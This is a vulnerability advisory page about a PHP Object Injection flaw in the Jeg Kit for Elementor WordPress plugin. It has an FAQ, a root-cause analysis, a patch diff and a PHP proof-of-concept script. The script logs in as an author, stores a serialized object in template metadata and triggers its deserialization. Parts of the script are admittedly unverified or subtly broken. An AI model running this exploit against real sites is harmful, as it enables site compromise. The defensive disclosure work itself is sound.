What is CVE-2026-65549?

CVE-2026-65549 is a PHP Object Injection vulnerability in the Jeg Kit for Elementor plugin for WordPress, affecting versions up to and including 3.2.10. It allows authenticated attackers with author-level access or higher to inject a PHP object via insecure deserialization of untrusted input. The severity is rated High with a CVSS score of 7.5.

How does the PHP Object Injection vulnerability work?

The vulnerability exists in the check_conditions() function in class/templates/class-template.php. This function retrieves condition metadata for a header template using get_post_meta() and passes it to maybe_unserialize() without validating that the data is an array. An attacker with author-level access can store a crafted serialized PHP object in this metadata, which gets deserialized when the template conditions are checked, leading to object injection.

Who is affected by this vulnerability?

Any WordPress site running Jeg Kit for Elementor version 3.2.10 or earlier is affected. The attack requires an authenticated user with at least author-level permissions, so sites with multiple authors or compromised author accounts are at higher risk. Users with only subscriber or contributor roles are not directly exploitable.

How can I check if my site is vulnerable?

Check the installed version of the Jeg Kit for Elementor plugin in your WordPress admin dashboard under Plugins. If the version is 3.2.10 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the file class/templates/class-template.php with the patched version to see if the fix is present.

What is the practical risk of this vulnerability?

The immediate impact is the ability to inject a PHP object, but without a POP chain in the plugin itself, exploitation is limited. However, if the site has other plugins or themes with a usable POP chain, an attacker could delete arbitrary files, retrieve sensitive data, or execute code, potentially leading to full site compromise. The risk is elevated for sites with additional plugins.

How was the vulnerability patched?

The patch modifies the check_conditions() function to add an is_array() check on the $conditions variable before processing. This prevents the deserialization of any non-array value, blocking the injection of serialized objects. The patch also validates that each condition is an array and contains a ‘location’ key, ensuring only properly formatted data is used.

What steps should I take to fix or mitigate the issue?

Immediately update the Jeg Kit for Elementor plugin to version 3.2.11 or later, which contains the patch. If you cannot update, temporarily disable the plugin or restrict author-level access to trusted users only. Additionally, audit your site for other plugins or themes that might contain POP chains to reduce the impact of potential exploitation.

How does the proof of concept demonstrate the vulnerability?

The provided proof of concept logs in with an author account, creates or updates a Jeg Kit header template, and stores a malicious serialized payload in its condition metadata. When the template’s conditions are checked, the payload is deserialized, demonstrating the object injection. The PoC is for educational purposes and should only be used on systems you own or have permission to test.

What is a POP chain and why is it important?

A POP chain is a sequence of existing PHP classes and methods that can be triggered during deserialization to perform unintended actions. In this vulnerability, no POP chain is present in the Jeg Kit plugin itself, but if another plugin or theme provides one, an attacker can chain the injected object to achieve severe outcomes like file deletion or code execution.

Can this vulnerability be exploited remotely without authentication?

No, exploitation requires an authenticated user with at least author-level access. This means the attacker must have a valid account with sufficient privileges. Remote unauthenticated attackers cannot directly exploit this vulnerability, but they could target author accounts through other means, such as phishing or credential stuffing.

What should I do if I suspect my site has been compromised?

If you suspect exploitation, immediately update the plugin to the patched version, change all user passwords, especially for author-level accounts, and review your site for unauthorized changes. Scan for malicious files and check server logs for suspicious activity. Consider consulting a security professional to conduct a thorough investigation.

Are there any other security considerations for this plugin?

Beyond this vulnerability, ensure you keep all plugins and themes updated to their latest versions. Regularly audit user roles and permissions, and remove unnecessary accounts. Implement a web application firewall (WAF) and security monitoring to detect and block malicious activity. Stay informed about new vulnerabilities by subscribing to security advisories.

Published : August 8, 2026

CVE-2026-65549: Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress <= 3.2.10 Authenticated (Author+) PHP Object Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-65549

Plugin jeg-elementor-kit

Severity High (CVSS 7.5)

CWE 502

Vulnerable Version 3.2.10

Patched Version 3.2.11

Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65549: Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress plugin contains a PHP Object Injection vulnerability in versions up to and including 3.2.10. The vulnerability stems from the deserialization of untrusted input, allowing authenticated attackers with at least author-level access to inject a PHP object. The severity is rated 7.5 (High), and the exploit can lead to arbitrary file deletion, sensitive data retrieval, or code execution when combined with a POP chain from another plugin or theme.

The root cause of the vulnerability is in the class/templates/class-template.php file, specifically in the check_conditions() function. This function retrieves the condition metadata for a header template using get_post_meta(). The metadata is then passed to maybe_unserialize() without any validation of the data type or source. This means an attacker with author-level access, who can modify post metadata, could store a crafted serialized PHP object in this field. When the header template conditions are evaluated, the vulnerable code performs an insecure deserialization operation. The affected code is located around line 279 of the class-template.php file, where the function retrieves the $conditions variable and calls maybe_unserialize($conditions). The patch introduces a check to ensure the value is an array prior to deserialization, addressing the core issue.

To exploit this vulnerability, an authenticated attacker with author-level privileges would need to craft a malicious serialized PHP object and save it as the metadata for a header template. The specific metadata key is stored in the Dashboard::$jkit_condition constant. The attacker can achieve this through the standard WordPress post editor interface or by using a direct update request. The serialized payload would be base64-encoded by default. Once saved, the attacker must trigger the template’s condition check. This can be done by visiting a page that uses the affected Jeg Kit header template. When the check_conditions() function runs, it will unserialize the malicious payload, triggering the object injection. The injected object could then exploit a POP chain if one is present in the active theme or other installed plugins, enabling actions like arbitrary file deletion, information disclosure, or remote code execution.

The patch addresses the vulnerability by modifying the class/templates/class-template.php file. The vulnerable code previously fetched the metadata and immediately passed it to maybe_unserialize() without validation. The patched code adds an is_array() check on the $conditions variable before iterating over it. This change prevents the deserialization of any non-array value. If the metadata does not contain a valid array, the function will not attempt to unserialize it. This ensures that a malicious serialized object stored in this field will not be deserialized, effectively blocking the PHP Object Injection attack vector. The patch also includes a None check to ensure each condition within the array is a valid array and contains a ‘location’ key before processing it.

Successful exploitation of this vulnerability allows an authenticated attacker with author-level access to inject arbitrary PHP objects. The immediate impact is limited to the injection itself, as no known POP chain is present in the Jeg Kit plugin. However, if the target WordPress site has any other plugin or theme installed that provides a usable POP chain, the attacker can chain the injected object to perform severe actions. These actions can include deleting arbitrary files on the server via a __destruct() method, retrieving sensitive data like database credentials or configuration files through a __toString() or similar method, or achieving remote code execution by using a POP chain that calls an eval() or similar function. This can result in a complete compromise of the WordPress installation and the underlying server.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/jeg-elementor-kit/class/class-init.php
+++ b/jeg-elementor-kit/class/class-init.php
@@ -61,7 +61,8 @@
 	 * Setup Hooks
 	 */
 	private function setup_hook() {
-		// add_action( 'load-plugins.php', array( $this, 'replace_plugin_update_row' ), 99 );
+		add_action( 'load-plugins.php', array( $this, 'replace_plugin_update_row' ), 99 );
+		add_action( 'current_screen', array( $this, 'maybe_replace_plugin_update_row' ), 20 );
 		add_filter( 'plugin_action_links_' . JEG_ELEMENTOR_KIT_BASE, array( $this, 'add_upgrade_to_pro_action_link' ), 10, 4 );
 		add_filter( 'body_class', array( $this, 'load_body_class' ) );
 		add_filter( 'plugin_auto_update_setting_html', array( $this, 'disable_auto_update_setting_html' ), 10, 3 );
@@ -86,10 +87,25 @@
 	 */
 	public function replace_plugin_update_row() {
 		remove_action( 'after_plugin_row_' . JEG_ELEMENTOR_KIT_BASE, 'wp_plugin_update_row' );
+		remove_action( 'after_plugin_row_' . JEG_ELEMENTOR_KIT_BASE, 'jkit_plugin_update_row', 10 );
 		add_action( 'after_plugin_row_' . JEG_ELEMENTOR_KIT_BASE, 'jkit_plugin_update_row', 10, 2 );
 	}

 	/**
+	 * Ensure custom plugin update row is used on the Plugins screen, including search results.
+	 *
+	 * @param WP_Screen $screen Current screen instance.
+	 * @return void
+	 */
+	public function maybe_replace_plugin_update_row( $screen ) {
+		if ( ! isset( $screen->id ) || ! in_array( $screen->id, array( 'plugins', 'plugins-network' ), true ) ) {
+			return;
+		}
+
+		$this->replace_plugin_update_row();
+	}
+
+	/**
 	 * Add body class
 	 *
 	 * @param array $classes Body classes.
--- a/jeg-elementor-kit/class/elements/class-element.php
+++ b/jeg-elementor-kit/class/elements/class-element.php
@@ -110,6 +110,10 @@
 	 * @param ElementorWidgets_Manager $manager Elementor widgets manager.
 	 */
 	public function register_element_pro( $manager ) {
+		if ( ! class_exists( 'ElementorModulesPromotionsWidgetsPro_Widget_Promotion' ) ) {
+			return;
+		}
+
 		foreach ( $this->list_pro_elements() as $item => $data ) {
 			$item_key = 'jkit_pro_' . strtolower( $item );

--- a/jeg-elementor-kit/class/integrations/class-wpml.php
+++ b/jeg-elementor-kit/class/integrations/class-wpml.php
@@ -295,6 +295,15 @@
 			),
 		);

+		/** Jeg Kit - Post Date Widget */
+		$widgets['jkit_post_date'] = array(
+			'conditions' => array( 'widgetType' => 'jkit_post_date' ),
+			'fields'     => array(
+				$this->field( 'sg_date_format_custom', __( 'Jeg Kit Post Date: Date: Custom Format', 'jeg-elementor-kit' ) ),
+				'sg_date_link_to_custom' => $this->field( 'url', __( 'Jeg Kit Post Date: Date: Custom Link', 'jeg-elementor-kit' ), 'LINK' ),
+			),
+		);
+
 		return $widgets;
 	}

--- a/jeg-elementor-kit/class/templates/class-template.php
+++ b/jeg-elementor-kit/class/templates/class-template.php
@@ -276,10 +276,13 @@
 	public function check_conditions( $post_id, $header_id ) {
 		$flag       = true;
 		$conditions = get_post_meta( $header_id, Dashboard::$jkit_condition, true );
-		$conditions = maybe_unserialize( $conditions );

-		if ( $conditions ) {
+		if ( is_array( $conditions ) ) {
 			foreach ( $conditions as $condition ) {
+				if ( ! is_array( $condition ) || empty( $condition['location'] ) ) {
+					continue;
+				}
+
 				switch ( $condition['location'] ) {
 					case 'singular':
 					case 'post_single':
--- a/jeg-elementor-kit/helper.php
+++ b/jeg-elementor-kit/helper.php
@@ -1891,6 +1891,10 @@
 		$requires_php   = isset( $response->requires_php ) ? $response->requires_php : null;
 		$compatible_php = is_php_version_compatible( $requires_php );
 		$notice_type    = $compatible_php ? 'notice-warning' : 'notice-error';
+		$free_update_url = wp_nonce_url(
+			self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . rawurlencode( $file ) ),
+			'upgrade-plugin_' . $file
+		);

 		printf(
 			'<tr class="plugin-update-tr%s" id="%s" data-slug="%s" data-plugin="%s">' .
@@ -1933,8 +1937,8 @@
 		} else {
 			if ( $compatible_php ) {
 				printf(
-					/* translators: 1: Update URL, 2: Additional update link attributes, 3: Upgrade URL. */
-					__( 'There is a new version of %1$s available. <strong><a href="%2$s" target="_blank" rel="noopener noreferrer" %3$s>Upgrade to Pro</a></strong> to unlock automatic updates, premium features, widgets, templates, and priority support or <strong><a href="%4$s" target="_blank" rel="noopener noreferrer">download</a></strong> the latest version.', 'jeg-elementor-kit' ),
+					/* translators: 1: Plugin name, 2: Upgrade URL, 3: Additional upgrade link attributes, 4: Pricing URL, 5: Free update URL, 6: Free update label. */
+					__( 'A new version of %1$s is available. <strong><a href="%2$s" target="_blank" rel="noopener noreferrer" %3$s>Upgrade to Pro</a></strong> to unlock automatic updates, premium features, widgets, templates, and priority support, or <strong><a href="%4$s" target="_blank" rel="noopener noreferrer" class="jkit-update-now-pricing" data-continue-url="%5$s" data-continue-label="%6$s">update now</a></strong>.', 'jeg-elementor-kit' ),
 					esc_html( $plugin_name ),
 					esc_url(
 						add_query_arg(
@@ -1951,7 +1955,18 @@
 						/* translators: %s: Plugin name. */
 						esc_attr( sprintf( _x( 'Upgrade %s now', 'plugin' ), $plugin_name ) )
 					),
-					esc_url( $plugin_data['url'] )
+					esc_url(
+						add_query_arg(
+							array(
+								'page'       => 'jkit',
+								'utm_source' => 'plugin-update-notice',
+								'utm_medium' => 'plugin-update-now-link',
+							),
+							admin_url( 'admin.php' )
+						)
+					),
+					esc_url( $free_update_url ),
+					esc_attr__( 'Continue Free Update', 'jeg-elementor-kit' )
 				);
 			} else {
 				printf(
--- a/jeg-elementor-kit/jeg-elementor-kit.php
+++ b/jeg-elementor-kit/jeg-elementor-kit.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://jegkit.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * Description: Jeg Kit for Elementor (formerly Jeg Elementor Kit) extends Elementor with powerful, customizable widgets and templates — helping you build modern, responsive WordPress websites faster.
  * Requires Plugins: elementor
- * Version: 3.2.10
+ * Version: 3.2.11
  * Author: Jegtheme
  * Author URI: https://jegkit.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * License: GPLv3
@@ -20,7 +20,7 @@

 defined( 'JEG_ELEMENTOR_KIT' ) || define( 'JEG_ELEMENTOR_KIT', 'jeg-elementor-kit' );
 defined( 'JEG_ELEMENTOR_KIT_NAME' ) || define( 'JEG_ELEMENTOR_KIT_NAME', 'Jeg Kit' );
-defined( 'JEG_ELEMENTOR_KIT_VERSION' ) || define( 'JEG_ELEMENTOR_KIT_VERSION', '3.2.10' );
+defined( 'JEG_ELEMENTOR_KIT_VERSION' ) || define( 'JEG_ELEMENTOR_KIT_VERSION', '3.2.11' );
 defined( 'JEG_ELEMENTOR_KIT_URL' ) || define( 'JEG_ELEMENTOR_KIT_URL', plugins_url( JEG_ELEMENTOR_KIT ) );
 defined( 'JEG_ELEMENTOR_KIT_FILE' ) || define( 'JEG_ELEMENTOR_KIT_FILE', __FILE__ );
 defined( 'JEG_ELEMENTOR_KIT_BASE' ) || define( 'JEG_ELEMENTOR_KIT_BASE', plugin_basename( __FILE__ ) );
--- a/jeg-elementor-kit/lib/dependencies/admin.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-dom', 'regenerator-runtime', 'wp-element', 'wp-i18n'), 'version' => '2f68ad1a903823e64077');
+<?php return array('dependencies' => array('react-dom', 'regenerator-runtime', 'wp-element', 'wp-i18n'), 'version' => '5f12926fd60f638cffbc');
--- a/jeg-elementor-kit/lib/dependencies/core.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/core.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '2c6e73dfb9654e9a4fb5');
+<?php return array('dependencies' => array('react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '9351ef79d726194bb7e1');
--- a/jeg-elementor-kit/lib/dependencies/dashboard.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'edf6a355d59f8d94514b');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '69f532429fda8f147919');
--- a/jeg-elementor-kit/lib/dependencies/editor.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-dom', 'regenerator-runtime', 'wp-element', 'wp-i18n'), 'version' => 'b59bc95cb1f1aaa7925d');
+<?php return array('dependencies' => array('react-dom', 'regenerator-runtime', 'wp-element', 'wp-i18n'), 'version' => '6b87adb03c9c21e66799');
--- a/jeg-elementor-kit/lib/dependencies/wizard.asset.php
+++ b/jeg-elementor-kit/lib/dependencies/wizard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '6276de09ad4d35fcc66f');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'regenerator-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '761892342a9c35be05f5');
--- a/jeg-elementor-kit/lib/vendor/composer/installed.php
+++ b/jeg-elementor-kit/lib/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'jegstudio/jeg-elementor-kit',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '83b5c46aaf4e97397344eb4e020b011c55b27a06',
+        'reference' => '3c78de62fbff5de966bc731042a0d37365444cfd',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -31,7 +31,7 @@
         'jegstudio/jeg-elementor-kit' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '83b5c46aaf4e97397344eb4e020b011c55b27a06',
+            'reference' => '3c78de62fbff5de966bc731042a0d37365444cfd',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/includes/class-fs-api.php
+++ b/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/includes/class-fs-api.php
@@ -721,4 +721,4 @@
         }

 		#endregion
-	}
+	}
 No newline at end of file
--- a/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/includes/sdk/FreemiusBase.php
+++ b/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/includes/sdk/FreemiusBase.php
@@ -214,4 +214,4 @@
                 return $str;
             }
         }
-    }
+    }
 No newline at end of file
--- a/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/templates/account/partials/site.php
+++ b/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/templates/account/partials/site.php
@@ -351,4 +351,4 @@
         </td>
     </tr>
     <!--/ More details -->
-<?php endif ?>
+<?php endif ?>
 No newline at end of file
--- a/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/templates/connect.php
+++ b/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/templates/connect.php
@@ -1059,4 +1059,4 @@
 	})(jQuery);
 </script>
 <?php
-    fs_require_once_template( 'api-connectivity-message-js.php' );
+    fs_require_once_template( 'api-connectivity-message-js.php' );
 No newline at end of file
--- a/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/templates/connect/permissions-group.php
+++ b/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/templates/connect/permissions-group.php
@@ -69,4 +69,4 @@
             }
         ?>
     </ul>
-</div>
+</div>
 No newline at end of file
--- a/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/templates/js/permissions.php
+++ b/jeg-elementor-kit/lib/vendor/freemius/wordpress-sdk/templates/js/permissions.php
@@ -543,4 +543,4 @@

         };
     } )( jQuery );
-</script>
+</script>
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65549 - Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress <= 3.2.10 - Authenticated (Author+) PHP Object Injection

/**
 * This is a proof-of-concept to demonstrate the PHP Object Injection vulnerability.
 * The attacker must have author-level access. The script logs in, creates or updates
 * a Jeg Kit header template, and sets the malicious serialized payload into its
 * condition metadata.
 */

// Configuration
$target_url = 'http://target-wordpress-site.com'; // Change to target site URL
$username = 'author'; // Author-level account username
$password = 'author_password'; // Author's password

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies for session
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

echo "[*] Logged in as {$username}n";

// Step 2: Prepare the malicious serialized payload.
// We need a PHP object that will trigger a POP chain when deserialized.
// Since no POP chain exists in this plugin, we use a simple class as a demonstration.
// In a real attack, an attacker would identify a class from another plugin/theme.
class Evil_Object {
    public $cmd = 'id';
    // This __destruct method would be called when the object is destroyed.
    // In a real POP chain, this would be a gadget that reads files, executes commands, etc.
    public function __destruct() {
        echo 'Object destroyed - payload triggered! Command would be: ' . $this->cmd . "n";
    }
}

$payload = serialize(new Evil_Object());
// In a real serialized payload, attacker would likely base64 encode it to avoid collision.
$payload_base64 = base64_encode($payload);

// Step 3: Create a new Jeg Kit header template or update an existing one.
// For simplicity, we'll create a draft post.
$create_post_url = $target_url . '/wp-admin/post-new.php?post_type=elementor_library';

// We need to get the wpnonce for the post edit screen to update metadata.
// However, for this PoC, we'll use a simpler method: update post meta via a direct POST.
// The metadata key for Jeg Kit conditions is 'jkit_condition' (this value must be verified).
// The post ID needs to be a Jeg Kit header template.

// Find a valid post ID. 
// The attacker would need to locate an existing header template or create one.
// Here, we assume we have a post ID 123.
$post_id = 123; // Change this to a valid Jeg Kit template post ID.

$update_meta_url = $target_url . '/wp-admin/post.php';
$meta_data = array(
    'post_ID' => $post_id,
    'action' => 'editpost',
    'meta' => array(
        'jkit_condition' => array(0 => $payload_base64) // Storing the serialized object
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_meta_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($meta_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Updated post meta to include malicious payloadn";

// Step 4: Visit the affected page to trigger the condition check.
// The check occurs when the template is loaded.
$page_url = $target_url . '/some-page-that-uses-the-header-template/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page_response = curl_exec($ch);
curl_close($ch);

// Look for evidence of the object being destroyed (POP chain triggered)
if (strpos($page_response, 'Object destroyed') !== false) {
    echo "[+] Vulnerability triggered: PHP Object Injection occurred!n";
} else {
    echo "[-] Vulnerability may not have been triggered. Check if the page uses the correct template.n";
}

// Clean up cookies file
unlink('cookies.txt');

Frequently Asked Questions

What is CVE-2026-65549?
Vulnerability overview
CVE-2026-65549 is a PHP Object Injection vulnerability in the Jeg Kit for Elementor plugin for WordPress, affecting versions up to and including 3.2.10. It allows authenticated attackers with author-level access or higher to inject a PHP object via insecure deserialization of untrusted input. The severity is rated High with a CVSS score of 7.5.
How does the PHP Object Injection vulnerability work?
Technical explanation
The vulnerability exists in the check_conditions() function in class/templates/class-template.php. This function retrieves condition metadata for a header template using get_post_meta() and passes it to maybe_unserialize() without validating that the data is an array. An attacker with author-level access can store a crafted serialized PHP object in this metadata, which gets deserialized when the template conditions are checked, leading to object injection.
Who is affected by this vulnerability?
Affected users
Any WordPress site running Jeg Kit for Elementor version 3.2.10 or earlier is affected. The attack requires an authenticated user with at least author-level permissions, so sites with multiple authors or compromised author accounts are at higher risk. Users with only subscriber or contributor roles are not directly exploitable.
How can I check if my site is vulnerable?
Detection steps
Check the installed version of the Jeg Kit for Elementor plugin in your WordPress admin dashboard under Plugins. If the version is 3.2.10 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the file class/templates/class-template.php with the patched version to see if the fix is present.
What is the practical risk of this vulnerability?
Impact assessment
The immediate impact is the ability to inject a PHP object, but without a POP chain in the plugin itself, exploitation is limited. However, if the site has other plugins or themes with a usable POP chain, an attacker could delete arbitrary files, retrieve sensitive data, or execute code, potentially leading to full site compromise. The risk is elevated for sites with additional plugins.
How was the vulnerability patched?
Patch details
The patch modifies the check_conditions() function to add an is_array() check on the $conditions variable before processing. This prevents the deserialization of any non-array value, blocking the injection of serialized objects. The patch also validates that each condition is an array and contains a ‘location’ key, ensuring only properly formatted data is used.
What steps should I take to fix or mitigate the issue?
Remediation actions
Immediately update the Jeg Kit for Elementor plugin to version 3.2.11 or later, which contains the patch. If you cannot update, temporarily disable the plugin or restrict author-level access to trusted users only. Additionally, audit your site for other plugins or themes that might contain POP chains to reduce the impact of potential exploitation.
How does the proof of concept demonstrate the vulnerability?
PoC explanation
The provided proof of concept logs in with an author account, creates or updates a Jeg Kit header template, and stores a malicious serialized payload in its condition metadata. When the template’s conditions are checked, the payload is deserialized, demonstrating the object injection. The PoC is for educational purposes and should only be used on systems you own or have permission to test.
What is a POP chain and why is it important?
Exploitation context
A POP chain is a sequence of existing PHP classes and methods that can be triggered during deserialization to perform unintended actions. In this vulnerability, no POP chain is present in the Jeg Kit plugin itself, but if another plugin or theme provides one, an attacker can chain the injected object to achieve severe outcomes like file deletion or code execution.
Can this vulnerability be exploited remotely without authentication?
Authentication requirement
No, exploitation requires an authenticated user with at least author-level access. This means the attacker must have a valid account with sufficient privileges. Remote unauthenticated attackers cannot directly exploit this vulnerability, but they could target author accounts through other means, such as phishing or credential stuffing.
What should I do if I suspect my site has been compromised?
Incident response
If you suspect exploitation, immediately update the plugin to the patched version, change all user passwords, especially for author-level accounts, and review your site for unauthorized changes. Scan for malicious files and check server logs for suspicious activity. Consider consulting a security professional to conduct a thorough investigation.
Are there any other security considerations for this plugin?
Additional advice
Beyond this vulnerability, ensure you keep all plugins and themes updated to their latest versions. Regularly audit user roles and permissions, and remove unnecessary accounts. Implement a web application firewall (WAF) and security monitoring to detect and block malicious activity. Stay informed about new vulnerabilities by subscribing to security advisories.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started